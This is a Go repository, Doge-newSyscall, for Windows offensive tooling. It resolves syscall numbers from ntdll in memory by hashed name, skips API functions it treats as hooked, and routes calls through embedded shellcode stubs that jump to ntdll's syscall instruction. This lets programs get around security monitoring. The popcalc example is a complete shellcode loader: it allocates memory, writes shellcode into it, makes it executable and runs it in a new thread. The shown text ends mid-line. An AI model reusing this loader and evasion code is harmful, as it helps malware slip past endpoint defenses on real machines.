├── README.md ├── go.mod ├── example ├── sleep │ └── sleep.go └── popcalc │ └── popcalc.go ├── go.sum └── pkg ├── findegg └── findegg.go └── newsyscall ├── asm_x64.s ├── config.go └── newsyscall.go /README.md: -------------------------------------------------------------------------------- 1 | # Doge-newSyscall 2 | use shellcode as asm function 3 | 4 | 用内嵌shellcode代替recycledgate里面的asm函数, 5 | 6 | 用Egg标记找到位置后使用syscall.Syscall传参调用即可 7 | 8 | 晚点有空写文章 9 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/timwhitez/Doge-newSyscall 2 | 3 | go 1.17 4 | 5 | require ( 6 | github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee 7 | github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 8 | github.com/timwhitez/Doge-RecycledGate v0.0.0-20220322173959-dfb7af9ef740 9 | golang.org/x/sys v0.0.0-20220327210214-530d0810a4d0 10 | ) 11 | -------------------------------------------------------------------------------- /example/sleep/sleep.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/sha1" 5 | "fmt" 6 | "github.com/timwhitez/Doge-newSyscall/pkg/newsyscall" 7 | "syscall" 8 | "unsafe" 9 | ) 10 | 11 | func main() { 12 | //NtDelayExecution HellsGate 13 | sleep1, e := newsyscall.MemHgate("84804f99e2c7ab8aee611d256a085cf4879c4be8", str2sha1) 14 | if e != nil { 15 | panic(e) 16 | } 17 | 18 | fmt.Printf("%s: %x\n", "NtDelayExecution Sysid", sleep1) 19 | times := -(5000 * 10000) 20 | 21 | ptr := newsyscall.PrepareSyscall(sleep1) 22 | 23 | r, _, _ := syscall.Syscall(ptr, 2, 0, uintptr(unsafe.Pointer(×)), 0) 24 | fmt.Println(r) 25 | 26 | } 27 | 28 | func str2sha1(s string) string { 29 | h := sha1.New() 30 | h.Write([]byte(s)) 31 | bs := h.Sum(nil) 32 | return fmt.Sprintf("%x", bs) 33 | } 34 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee h1:neBp9wDYVY4Uu1gGlrL+IL4JeZslz+hGEAjBXGAPWak= 2 | github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ= 3 | github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs= 4 | github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE= 5 | github.com/timwhitez/Doge-RecycledGate v0.0.0-20220322173959-dfb7af9ef740 h1:m+o0t54SnP/iFT6D+/EEuf+tYVggxPAqQdnLvn8KYjs= 6 | github.com/timwhitez/Doge-RecycledGate v0.0.0-20220322173959-dfb7af9ef740/go.mod h1:DCQqezySURABpCp4+p8mweLMv1pU8VDlXHK7nXgSvMM= 7 | golang.org/x/sys v0.0.0-20220310020820-b874c991c1a5/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 8 | golang.org/x/sys v0.0.0-20220327210214-530d0810a4d0 h1:G6WAvvcMaaFYQhMbC0L5ZWNExEcJ3j3yFTxx4mwOHtM= 9 | golang.org/x/sys v0.0.0-20220327210214-530d0810a4d0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 10 | -------------------------------------------------------------------------------- /pkg/findegg/findegg.go: -------------------------------------------------------------------------------- 1 | package findegg 2 | 3 | import ( 4 | "golang.org/x/sys/windows" 5 | "unsafe" 6 | ) 7 | 8 | func memcmp(dest, src unsafe.Pointer, len uintptr) int { 9 | cnt := len >> 3 10 | var i uintptr = 0 11 | for i = 0; i < cnt; i++ { 12 | var pdest *uint64 = (*uint64)(unsafe.Pointer(uintptr(dest) + uintptr(8*i))) 13 | var psrc *uint64 = (*uint64)(unsafe.Pointer(uintptr(src) + uintptr(8*i))) 14 | switch { 15 | case *pdest < *psrc: 16 | return -1 17 | case *pdest > *psrc: 18 | return 1 19 | default: 20 | } 21 | } 22 | 23 | left := len & 7 24 | for i = 0; i < left; i++ { 25 | var pdest *uint8 = (*uint8)(unsafe.Pointer(uintptr(dest) + uintptr(8*cnt+i))) 26 | var psrc *uint8 = (*uint8)(unsafe.Pointer(uintptr(src) + uintptr(8*cnt+i))) 27 | switch { 28 | case *pdest < *psrc: 29 | return -1 30 | case *pdest > *psrc: 31 | return 1 32 | default: 33 | } 34 | } 35 | return 0 36 | } 37 | 38 | func FindEgg(egg []byte, startAddress uintptr) uintptr { 39 | var currentOffset = uintptr(0) 40 | current := make([]byte, 7) 41 | var nBytesRead uintptr 42 | 43 | //fmt.Printf("Starting search from: 0x%x\n", startAddress+currentOffset) 44 | 45 | for !(current[0] == 0xff && current[1] == 0xff && current[2] == 0xff && current[3] == 0x00 && current[4] == 0x00 && current[5] == 0x00 && current[6] == 0x00) { 46 | currentOffset++ 47 | currentAddress := startAddress + currentOffset 48 | //fmt.Printf("Searching at 0x%x\n", currentAddress) 49 | 50 | err := windows.ReadProcessMemory(0xffffffffffffffff, currentAddress, ¤t[0], 7, &nBytesRead) 51 | if err != nil { 52 | //fmt.Println("[-] Error reading from memory") 53 | break 54 | } 55 | if nBytesRead != 7 { 56 | //fmt.Println("[-] Error reading from memory\n") 57 | break 58 | } 59 | 60 | if memcmp(unsafe.Pointer(&egg[0]), unsafe.Pointer(¤t[0]), 7) == 0 { 61 | //fmt.Printf("Found at 0x%x\n", currentAddress) 62 | return currentAddress 63 | } 64 | } 65 | //fmt.Printf("Ended search at: 0x%x\n", startAddress+currentOffset) 66 | return 0 67 | } 68 | -------------------------------------------------------------------------------- /pkg/newsyscall/asm_x64.s: -------------------------------------------------------------------------------- 1 | 2 | //func prepareSyscall() 3 | TEXT ·prepareSyscall(SB),$0-0 4 | BYTE $0x65 5 | BYTE $0x67 6 | BYTE $0x67 7 | BYTE $0x63 8 | BYTE $0x61 9 | BYTE $0x6c 10 | BYTE $0x6c 11 | 12 | BYTE $0x90 //NOP 13 | 14 | //xor r15, r15 15 | BYTE $0x4d 16 | BYTE $0x31 17 | BYTE $0xff 18 | 19 | BYTE $0x90 //NOP 20 | 21 | //xor r12, r12 22 | BYTE $0x4d 23 | BYTE $0x31 24 | BYTE $0xe4 25 | 26 | BYTE $0x90 //NOP 27 | 28 | //r15存储sysid 29 | //mov r15, rcx 30 | BYTE $0x49 31 | BYTE $0x89 32 | BYTE $0xcf 33 | 34 | BYTE $0x90 //NOP 35 | 36 | //r12存储syscall;ret地址 37 | //mov r12, rdx 38 | BYTE $0x49 39 | BYTE $0x89 40 | BYTE $0xd4 41 | 42 | BYTE $0x90 //NOP 43 | 44 | //ret 45 | BYTE $0xc3 46 | 47 | 48 | //nop 49 | BYTE $0x90 50 | 51 | //xor rax,rax 52 | BYTE $0x48 53 | BYTE $0x31 54 | BYTE $0xc0 55 | 56 | //nop 57 | BYTE $0x90 58 | 59 | //mov rax, rcx 60 | BYTE $0x48 61 | BYTE $0x89 62 | BYTE $0xc8 63 | 64 | //nop 65 | BYTE $0x90 66 | 67 | //mov r10, rax 68 | BYTE $0x49 69 | BYTE $0x89 70 | BYTE $0xc2 71 | 72 | //nop 73 | BYTE $0x90 74 | 75 | 76 | //sysid 77 | //mov eax, r15d 78 | BYTE $0x44 79 | BYTE $0x89 80 | BYTE $0xf8 81 | 82 | 83 | //nop 84 | BYTE $0x90 85 | 86 | //跳转代替syscall 87 | //jmp r12 88 | BYTE $0x41 89 | BYTE $0xff 90 | BYTE $0xe4 91 | 92 | BYTE $0x90 //NOP 93 | 94 | BYTE $0xc3 95 | 96 | 97 | 98 | //func getModuleLoadedOrder(i int) (start uintptr, size uintptr) 99 | TEXT ·getMLO(SB), $0-32 100 | //All operations push values into AX 101 | //PEB 102 | MOVQ 0x60(GS), AX 103 | BYTE $0x90 //NOP 104 | //PEB->LDR 105 | MOVQ 0x18(AX),AX 106 | BYTE $0x90 //NOP 107 | 108 | //LDR->InMemoryOrderModuleList 109 | MOVQ 0x20(AX),AX 110 | BYTE $0x90 //NOP 111 | 112 | //loop things 113 | XORQ R10,R10 114 | startloop: 115 | CMPQ R10,i+0(FP) 116 | BYTE $0x90 //NOP 117 | JE endloop 118 | BYTE $0x90 //NOP 119 | //Flink (get next element) 120 | MOVQ (AX),AX 121 | BYTE $0x90 //NOP 122 | INCQ R10 123 | JMP startloop 124 | endloop: 125 | //Flink - 0x10 -> _LDR_DATA_TABLE_ENTRY 126 | //_LDR_DATA_TABLE_ENTRY->DllBase (offset 0x30) 127 | 128 | MOVQ 0x30(AX),CX 129 | BYTE $0x90 //NOP 130 | MOVQ CX, size+16(FP) 131 | BYTE $0x90 //NOP 132 | 133 | 134 | MOVQ 0x20(AX),CX 135 | BYTE $0x90 //NOP 136 | MOVQ CX, start+8(FP) 137 | BYTE $0x90 //NOP 138 | 139 | 140 | MOVQ AX,CX 141 | BYTE $0x90 //NOP 142 | ADDQ $0x38,CX 143 | BYTE $0x90 //NOP 144 | MOVQ CX, modulepath+24(FP) 145 | //SYSCALL 146 | RET 147 | 148 | -------------------------------------------------------------------------------- /example/popcalc/popcalc.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/sha1" 5 | "crypto/sha256" 6 | "encoding/hex" 7 | "fmt" 8 | "github.com/timwhitez/Doge-newSyscall/pkg/newsyscall" 9 | "syscall" 10 | "unsafe" 11 | ) 12 | 13 | var shellcode = []byte{ 14 | //calc.exe https://github.com/peterferrie/win-exec-calc-shellcode 15 | 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 16 | 0x83, 0xe4, 0xf0, 0x50, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 17 | 0x6c, 0x63, 0x54, 0x59, 0x48, 0x29, 0xd4, 0x65, 0x48, 0x8b, 18 | 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 19 | 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 20 | 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 21 | 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 22 | 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 23 | 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 24 | 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 25 | 0x83, 0xc4, 0x68, 0x5c, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 26 | 0x58, 0xc3, 27 | } 28 | 29 | func main() { 30 | var thisThread = uintptr(0xffffffffffffffff) 31 | alloc, e := newsyscall.MemHgate(str2sha1("NtAllocateVirtualMemory"), str2sha1) 32 | if e != nil { 33 | panic(e) 34 | } 35 | protect, e := newsyscall.MemHgate(Sha256Hex("NtProtectVirtualMemory"), Sha256Hex) 36 | if e != nil { 37 | panic(e) 38 | } 39 | createthread, e := newsyscall.MemHgate(Sha256Hex("NtCreateThreadEx"), Sha256Hex) 40 | if e != nil { 41 | panic(e) 42 | } 43 | pWaitForSingleObject := syscall.NewLazyDLL("kernel32.dll").NewProc("WaitForSingleObject").Addr() 44 | 45 | createThread(shellcode, thisThread, alloc, protect, createthread, uint64(pWaitForSingleObject)) 46 | } 47 | 48 | func createThread(shellcode []byte, handle uintptr, NtAllocateVirtualMemorySysid, NtProtectVirtualMemorySysid, NtCreateThreadExSysid uint16, pWaitForSingleObject uint64) { 49 | 50 | const ( 51 | memCommit = uintptr(0x00001000) 52 | memreserve = uintptr(0x00002000) 53 | ) 54 | 55 | var baseA uintptr 56 | regionsize := uintptr(len(shellcode)) 57 | ptr := newsyscall.PrepareSyscall(NtAllocateVirtualMemorySysid) 58 | r1, r2, err := syscall.Syscall6(ptr, //ntallocatevirtualmemory 59 | 6, 60 | handle, 61 | uintptr(unsafe.Pointer(&baseA)), 62 | 0, 63 | uintptr(unsafe.Pointer(®ionsize)), 64 | uintptr(memCommit|memreserve), 65 | syscall.PAGE_READWRITE, 66 | ) 67 | if r1 != 0 { 68 | fmt.Printf("0x%x\n", r1) 69 | fmt.Println(r2) 70 | fmt.Println(err) 71 | return 72 | } 73 | 74 | //copy shellcode 75 | memcpy(baseA, shellcode) 76 | 77 | var oldprotect uintptr 78 | ptr = newsyscall.PrepareSyscall(NtProtectVirtualMemorySysid) 79 | r1, r2, err = syscall.Syscall6(ptr, //NtProtectVirtualMemory 80 | 5, 81 | handle, 82 | uintptr(unsafe.Pointer(&baseA)), 83 | uintptr(unsafe.Pointer(®ionsize)), 84 | syscall.PAGE_EXECUTE_READ, 85 | uintptr(unsafe.Pointer(&oldprotect)), 86 | 0, 87 | ) 88 | if r1 != 0 { 89 | fmt.Println(r1) 90 | fmt.Println(r2) 91 | fmt.Println(err) 92 | return 93 | } 94 | 95 | var hhosthread uintptr 96 | ptr = newsyscall.PrepareSyscall(NtCreateThreadExSysid) 97 | r1, r2, err = syscall.Syscall12( 98 | ptr, //NtCreateThreadEx 99 | 11, 100 | uintptr(unsafe.Pointer(&hhosthread)), //hthread 101 | uintptr(0x1FFFFF), //desiredaccess 102 | 0, //objattributes 103 | handle, //processhandle 104 | baseA, //lpstartaddress 105 | 0, //lpparam 106 | 0, //createsuspended 107 | 0, //zerobits 108 | 0, //sizeofstackcommit 109 | 0, //sizeofstackreserve 110 | 0, //lpbytesbuffer 111 | 0, 112 | ) 113 | syscall.Syscall(uintptr(pWaitForSingleObject), 2, hhosthread, 0xffffffff, 0) 114 | if r1 != 0 { 115 | fmt.Printf("0x%x\n", r1) 116 | fmt.Println(r2) 117 | fmt.Println(err) 118 | return 119 | } 120 | 121 | } 122 | 123 | func memcpy(base uintptr, buf []byte) { 124 | for i := 0; i < len(buf); i++ { 125 | *(*byte)(unsafe.Pointer(base + uintptr(i))) = buf[i] 126 | } 127 | } 128 | 129 | func str2sha1(s string) string { 130 | h := sha1.New() 131 | h.Write([]byte(s)) 132 | bs := h.Sum(nil) 133 | return fmt.Sprintf("%x", bs) 134 | } 135 | 136 | func Sha256Hex(s string) string { 137 | return hex.EncodeToString(Sha256([]byte(s))) 138 | } 139 | 140 | func Sha256(data []byte) []byte { 141 | digest := sha256.New() 142 | digest.Write(data) 143 | return digest.Sum(nil) 144 | } 145 | -------------------------------------------------------------------------------- /pkg/newsyscall/config.go: -------------------------------------------------------------------------------- 1 | package newsyscall 2 | 3 | type ( 4 | DWORD uint32 5 | ULONGLONG uint64 6 | WORD uint16 7 | BYTE uint8 8 | LONG uint32 9 | ) 10 | 11 | const ( 12 | MEM_COMMIT = 0x001000 13 | MEM_RESERVE = 0x002000 14 | IDX = 32 15 | ) 16 | 17 | type unNtd struct { 18 | pModule uintptr 19 | size uintptr 20 | } 21 | 22 | // Library - describes a loaded library 23 | type Library struct { 24 | Name string 25 | BaseAddress uintptr 26 | Exports map[string]uint64 27 | } 28 | 29 | const ( 30 | IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16 31 | ) 32 | 33 | type _IMAGE_FILE_HEADER struct { 34 | Machine WORD 35 | NumberOfSections WORD 36 | TimeDateStamp DWORD 37 | PointerToSymbolTable DWORD 38 | NumberOfSymbols DWORD 39 | SizeOfOptionalHeader WORD 40 | Characteristics WORD 41 | } 42 | 43 | type IMAGE_FILE_HEADER _IMAGE_FILE_HEADER 44 | 45 | type IMAGE_OPTIONAL_HEADER64 _IMAGE_OPTIONAL_HEADER64 46 | type IMAGE_OPTIONAL_HEADER IMAGE_OPTIONAL_HEADER64 47 | 48 | type _IMAGE_OPTIONAL_HEADER64 struct { 49 | Magic WORD 50 | MajorLinkerVersion BYTE 51 | MinorLinkerVersion BYTE 52 | SizeOfCode DWORD 53 | SizeOfInitializedData DWORD 54 | SizeOfUninitializedData DWORD 55 | AddressOfEntryPoint DWORD 56 | BaseOfCode DWORD 57 | ImageBase ULONGLONG 58 | SectionAlignment DWORD 59 | FileAlignment DWORD 60 | MajorOperatingSystemVersion WORD 61 | MinorOperatingSystemVersion WORD 62 | MajorImageVersion WORD 63 | MinorImageVersion WORD 64 | MajorSubsystemVersion WORD 65 | MinorSubsystemVersion WORD 66 | Win32VersionValue DWORD 67 | SizeOfImage DWORD 68 | SizeOfHeaders DWORD 69 | CheckSum DWORD 70 | Subsystem WORD 71 | DllCharacteristics WORD 72 | SizeOfStackReserve ULONGLONG 73 | SizeOfStackCommit ULONGLONG 74 | SizeOfHeapReserve ULONGLONG 75 | SizeOfHeapCommit ULONGLONG 76 | LoaderFlags DWORD 77 | NumberOfRvaAndSizes DWORD 78 | DataDirectory [IMAGE_NUMBEROF_DIRECTORY_ENTRIES]IMAGE_DATA_DIRECTORY 79 | } 80 | type _IMAGE_DATA_DIRECTORY struct { 81 | VirtualAddress DWORD 82 | Size DWORD 83 | } 84 | type IMAGE_DATA_DIRECTORY _IMAGE_DATA_DIRECTORY 85 | 86 | type _IMAGE_NT_HEADERS64 struct { 87 | Signature DWORD 88 | FileHeader IMAGE_FILE_HEADER 89 | OptionalHeader IMAGE_OPTIONAL_HEADER 90 | } 91 | type IMAGE_NT_HEADERS64 _IMAGE_NT_HEADERS64 92 | type IMAGE_NT_HEADERS IMAGE_NT_HEADERS64 93 | type _IMAGE_DOS_HEADER struct { // DOS .EXE header 94 | E_magic WORD // Magic number 95 | E_cblp WORD // Bytes on last page of file 96 | E_cp WORD // Pages in file 97 | E_crlc WORD // Relocations 98 | E_cparhdr WORD // Size of header in paragraphs 99 | E_minalloc WORD // Minimum extra paragraphs needed 100 | E_maxalloc WORD // Maximum extra paragraphs needed 101 | E_ss WORD // Initial (relative) SS value 102 | E_sp WORD // Initial SP value 103 | E_csum WORD // Checksum 104 | E_ip WORD // Initial IP value 105 | E_cs WORD // Initial (relative) CS value 106 | E_lfarlc WORD // File address of relocation table 107 | E_ovno WORD // Overlay number 108 | E_res [4]WORD // Reserved words 109 | E_oemid WORD // OEM identifier (for E_oeminfo) 110 | E_oeminfo WORD // OEM information; E_oemid specific 111 | E_res2 [10]WORD // Reserved words 112 | E_lfanew LONG // File address of new exe header 113 | } 114 | 115 | type IMAGE_DOS_HEADER _IMAGE_DOS_HEADER 116 | 117 | var hookedapi = []string{"15b9463b6ebb4c271a615df3a0e94b034bd539f4", "f5f80bb355dfeac91ae8d3ac3837fa1a859a9182", "98c0e7aeaa7cfe44e841a1e8d7ca0c3fe031d5c2", "04262a7943514ab931287729e862ca663d81f515", "e8d02c5ad8677d34be44742e93beff65a4b0096d", "0a602922644e8bbcfc3339d53bec5a62ba70916c", "df5a9d992d87f1ffd8a0e264efee12d0bb6588dc", "6ee6e75a7ec33ef750d48225b1efcb71c91499a3", "9ff6fa2b8fb83ea0432045d6766ca0e3ae7038aa", "f1ec0b2e52b8a40ef01b3512f007a79df6e94eb0", "3ac851354afeaa4429ccc36ba79f034c7dc2d521", "2e597b557e9e74ee80a809768b0e69b3ced08ca6", "df1a83db80c83f59a3b2c0337d704fe579401473", "06e877128ef82c17d7e772d3b266425217026272", "8c2beefa1c516d318252c9b1b45253e0549bb1c4", "91958a615f982790029f18c9cdb6d7f7e02d396f", "38ddf35aac26fbc18787e2d5409d396cf9a033f5", "84804f99e2c7ab8aee611d256a085cf4879c4be8", "32be5bbc7d877b871818a53cab08ef40e7a42c3b", "e29d137622fea28f1601e9c4db12ee8815836168", "a1d05025332c91a8c5618aebbb67ec0eed8423da", "7b4de15f2536a9fba49672485b8f598880345622", "00b66f89be96d7fa40e584d7eb9728f9b43e29d2", "00a703c63c1b4c30c68e94e216fca2475e8b433c", "fa2fc5b74e9a9da9bd3ad4322568f2e2a77d3bda", "4bf8c7b359e848d956eeaf0f34a634de68381aaf", "e44543e6033227c0ccf74065d7c129fd44ad6d72", "1e369e672361dd9bf33903ac273188b55f718ae9", "e4f8711db3bdcf171ef2a587eef11a88769f8436", "6020cf768d1b404612fdb1981e3e025e3704764a", "52355143c8beb1a98a7bb50f862cf0493ca67ee2", "15508eac8f0d22a830cbfae323b46d314029eca5", "ee60ccc9cd3f5d32c7013918694a833febe7aa4b", "7cb7fb48f3e9cfc2e2c692b93e2b10519ab161cb", "d328cda61cc036ae11b0c961aad82553d5a97ff8", "4004985833ffe74ded36f4470263427b6205cde9", "aabf1b0a27c6a6f878207c018d00558b06593a57", "3dca0c391dab95ebd1e68d0fb2cd9884b19eec82", "2582169ad1cb19ff1f27f9965e95108767353534", "b2e8d70a1327d535590e11bdd9fbaf17593e00d4", "5fcb80f4860b40a12a9a33a664954beb36271a20", "059637f5757d91ad1bc91215f73ab6037db6fe59", "5484af2fe93ebc7ae1c30af9ad978bb817a9184e", "ae3a279785651a5e5bdb5d43abf9470ead77c5eb", "5dc83c740d32f0d99ca6923830a29cf7b33ea405", "777e1962aa30c83ccb29874bb58c03b76f81e346", "1338830650b98326c8fa67660818f8ad5015cfa8", "ff06d2a62a1b4f33ab91d501ad53158cf899f780", "24ef15280221dcfa1eb15ec79f2570b324d85a06", "7c9afc9fb9345bc8598e2433aa1eb0c10b9f7e74", "24b985d5cb2367342a409057dcbf764bbf2c1c97", "80f14fbcb28ac3840dfcd5c46e9049380fb21467", "43ada77e56c062029486709b858b089175a42434", "ee680bb3dc4f47d1e3a14538f25a98899974d0dc", "8d1f75361ce3bb9fae20905d6eef038567bbfa5d", "e11f2cdcd205601d9b8551e35e8d3fe414b3350c", "eba66f227cb81a6e33171126785087fef2a23964", "e7f51d980633a074f844b9310a5177da0e09f62c", "b4cd871d9fb455919b7224e2098a63aaf0fa57cd", "e21de3e4e2ce4ba662cb22f6137d0a65a6aeb195", "a447c7c1c9d6025cb52c57b9fbd61619ab6cda1e", "973e29991918a6755efd09628bd4f33eed83e910", "dfe120de1844de0023554aca90a70e79f8dcd023", "0430fa2b2b00aa2a343dd0cf1a37e386de086b8b", "00fc6f0291ecc4743243851f7fb3ddfcf54fcfde", "e7e503e95407d0620f0b9e33b1e9861b32dbd3c6", "e43b5003e940dbf77598c99c6f8814f5432b8af2", "b7582e26d262f02fa593dfc2afac08cdd0475d85", "934ba7320b26692a46b2079327eee4ae75379eff", "c8022d58d347ae20ebad6a19742ad2c1d2ba5d53", "d3d72a1e7dcfe535371b84e0786302feab22d6d1", "bab64ab3009f237d28c9dc1ed3707190336fae77", "630b5bff9a195abb86d44ca2f65467bb0f996d9f", "bbcaba7d62b64f0d64972ac875bebeced87eb5e9", "d59c852c8b0241cf7fc6821a943ee157341dd175", "539f57e5744ca09c2914cd147427736b6860615c", "18ede0448e4ad01e04175beb0c5216977ddf8b74", "6caed95840c323932b680d07df0a1bce28a89d1c", "59b7e129371d567ab9ff9bf9e4463424b7dd4a11", "50454e4fa4c8a139f674836972ac46ec7dd46e56", "d75f63a367c3ac7e27bb0abaef4588dd27709196", "0667405eec3a1ce10ec6e4100da43890be68a6f5", "e2c8e43cb2cabef7c790af5b9ec86eea316d47c3", "27dffd1dd7df9bcfcdcf0513700515a7f6eeb766", "ad41dfc29c61dd50b290626bc505473fee129013", "6e3f4091fa9a78daaa92656965bae738957848d7", "2e715068746392cd28ee70a2c1fe195105f5bdfc", "e7cc12d0a31a64cfb3592e07b2930f552354525e", "512ba0db263aadd932c74711cc6636d652a8fcfd", "42fef932368f5b3294a3515ddf825587e46544d0", "5d00bd6255f0705bcae248c6a260b7c799969796", "28b94a540bdf6ce2960c96f1d3c2704c7db4f0ad", "66ca9bced91a4a1456f40a5a1adade05651e9c4f", "6c77983fd061dc56b34b08d326655d42f87dd192", "3475dd0624c9049d9e28fa2fb083eebcce2162bc", "60e2031ed26f1e6b5d968ee41ab0f4085ac2a9d1", "245656aa1c10628334ae829722f5706bd5641b69", "9e5b671461471fad1fa0bd434f64d6b3fe1c1d64", "94bad7b0a174f135a6f253720fbbfc17cde6a1df", "53a16c12d601b25f4785e62e858e51fc88b27e41", "03a88c31dcedabba5ebf637d0ff7a65666ac8d56", "c8bdf44a167cf70216ab3c97d012c558d5aa23eb", "53cd2292c0d76f4166598ca89979d57c8fbeeca3", "70f8af25efd4d4783e4a92d1e3bc88dc0ea8ac0f", "b2ad246aa6732e4f0defbb51c22bb4fa905baa19", "4cd47a1316933e750a8e113d2619931ea5495f78", "4722e0577c85ecb9c134ffbb2ce080fee0ba5d64", "650d7a3cc9421a5552d33e69ec9533f2a5034e2e", "b84e0c4945bda8ff2f5e4b5ea35c2b19c998a46c", "b1533c8a4627af97134439271073274184caa7ff", "521321c0c24ab6cbe71cd18dbd0cbd6c7b6f8ccd", "35093dea97c5a998974cdde5f884ae89baa3e7cc", "041978235606f21d126fb6c8dd7c03d5b2cf7813", "4ef41467627dbdb704a4e29cd3c7264e828b1f30", "cea29ef21a928876271307bd63b8e0f16064e041", "510e3ca97226a67602eac6ef945877c75e6c9e54", "1c12e2cb7ba4a7f67408c91888076ef23bef9291", "e6439fb2a49fd2581d22baf12da13c5cba577ab0", "4f10b73e83ecb438380cc8c248bc75ec57c80c19", "5d4a1a9da970a75f362c0c529622b35b764c9025", "ed55b35dafa796b39073abc1537e8f8251230e3f", "66a36894d9f588ef736d9d960c41c39b01ce00e8", "ac38e0975073d359388476d57e04eb4760df5572", "5e821365365709ad73ad7aa62851be1ae66a707b", "f3f0b849d7fe4470b3321e5df813478e658d4709", "752568e97474e926ba9511039047a343e48c89c0", "58a75ba3086b82ca71bc29b276a4144f93905df8", "bddf60e57d4db0132b31f36980501268e71c92bf", "cf6f633bf591b6044d9c2fce05d1a9cce06bba64", "3910d3a78490d1944f9799f1177dfa332edda1be", "8ec384e0b9287086f1283a050753ba20fd90307d", "e443ed560b708d022b1aac71f0f637a58436e3d0"} 118 | -------------------------------------------------------------------------------- /pkg/newsyscall/newsyscall.go: -------------------------------------------------------------------------------- 1 | package newsyscall 2 | 3 | import ( 4 | "crypto/sha1" 5 | "encoding/binary" 6 | "errors" 7 | "fmt" 8 | "github.com/timwhitez/Doge-newSyscall/pkg/findegg" 9 | "math/rand" 10 | "reflect" 11 | "syscall" 12 | "time" 13 | 14 | "strings" 15 | 16 | _ "runtime/cgo" 17 | "unsafe" 18 | 19 | "github.com/Binject/debug/pe" 20 | "github.com/awgh/rawreader" 21 | "golang.org/x/sys/windows" 22 | ) 23 | 24 | var p uintptr 25 | var d uintptr 26 | 27 | func init() { 28 | ptr := findegg.FindEgg([]byte{0x65, 0x67, 0x67, 0x63, 0x61, 0x6c, 0x6c}, reflect.ValueOf(pS).Pointer()) 29 | p = ptr + 7 30 | d = ptr + 25 31 | } 32 | 33 | func contains(slice []string, item string) bool { 34 | set := make(map[string]struct{}, len(slice)) 35 | for _, s := range slice { 36 | set[s] = struct{}{} 37 | } 38 | 39 | _, ok := set[item] 40 | return ok 41 | } 42 | 43 | func GetCall(tarApi string, blacklist []string, hash func(string) string) uintptr { 44 | //init hasher 45 | hasher := func(a string) string { 46 | return a 47 | } 48 | if hash != nil { 49 | hasher = hash 50 | } 51 | 52 | //tolower 53 | if blacklist != nil && tarApi == "" { 54 | for i, v := range blacklist { 55 | blacklist[i] = strings.ToLower(v) 56 | } 57 | } 58 | 59 | Ntd, _, _ := gMLO(1) 60 | if Ntd == 0 { 61 | return 0 62 | } 63 | 64 | //fmt.Printf("NtdllBaseAddr: 0x%x\n", Ntd) 65 | 66 | addrMod := Ntd 67 | 68 | ntHeader := ntH(addrMod) 69 | if ntHeader == nil { 70 | return 0 71 | } 72 | //windows.SleepEx(50, false) 73 | //get module size of ntdll 74 | modSize := ntHeader.OptionalHeader.SizeOfImage 75 | if modSize == 0 { 76 | return 0 77 | } 78 | 79 | rr := rawreader.New(addrMod, int(modSize)) 80 | p, e := pe.NewFileFromMemory(rr) 81 | if e != nil { 82 | return 0 83 | } 84 | ex, e := p.Exports() 85 | 86 | rand.Seed(time.Now().UnixNano()) 87 | for i := range ex { 88 | j := rand.Intn(i + 1) 89 | ex[i], ex[j] = ex[j], ex[i] 90 | } 91 | 92 | for i := 0; i < len(ex); i++ { 93 | exp := ex[i] 94 | if tarApi != "" { 95 | if strings.ToLower(hasher(exp.Name)) == strings.ToLower(tarApi) || strings.ToLower(hasher(strings.ToLower(exp.Name))) == strings.ToLower(tarApi) { 96 | //fmt.Println("Syscall API: " + exp.Name) 97 | offset := rvaToOffset(p, exp.VirtualAddress) 98 | b, e := p.Bytes() 99 | if e != nil { 100 | return 0 101 | } 102 | buff := b[offset : offset+32] 103 | if buff[18] == 0x0f && buff[19] == 0x05 && buff[20] == 0xc3 { 104 | //fmt.Printf("Syscall;ret Address: 0x%x\n", Ntd+uintptr(exp.VirtualAddress)+uintptr(18)) 105 | return Ntd + uintptr(exp.VirtualAddress) + uintptr(18) 106 | } 107 | } 108 | } else { 109 | if strings.HasPrefix(exp.Name, "Nt") || strings.HasPrefix(exp.Name, "Zw") { 110 | if !contains(blacklist, strings.ToLower(hasher(exp.Name))) && !contains(blacklist, strings.ToLower(hasher(strings.ToLower(exp.Name)))) { 111 | //fmt.Println("Syscall API: " + exp.Name) 112 | offset := rvaToOffset(p, exp.VirtualAddress) 113 | b, e := p.Bytes() 114 | if e != nil { 115 | return 0 116 | } 117 | buff := b[offset : offset+32] 118 | if buff[18] == 0x0f && buff[19] == 0x05 && buff[20] == 0xc3 { 119 | //fmt.Printf("Syscall;ret Address: 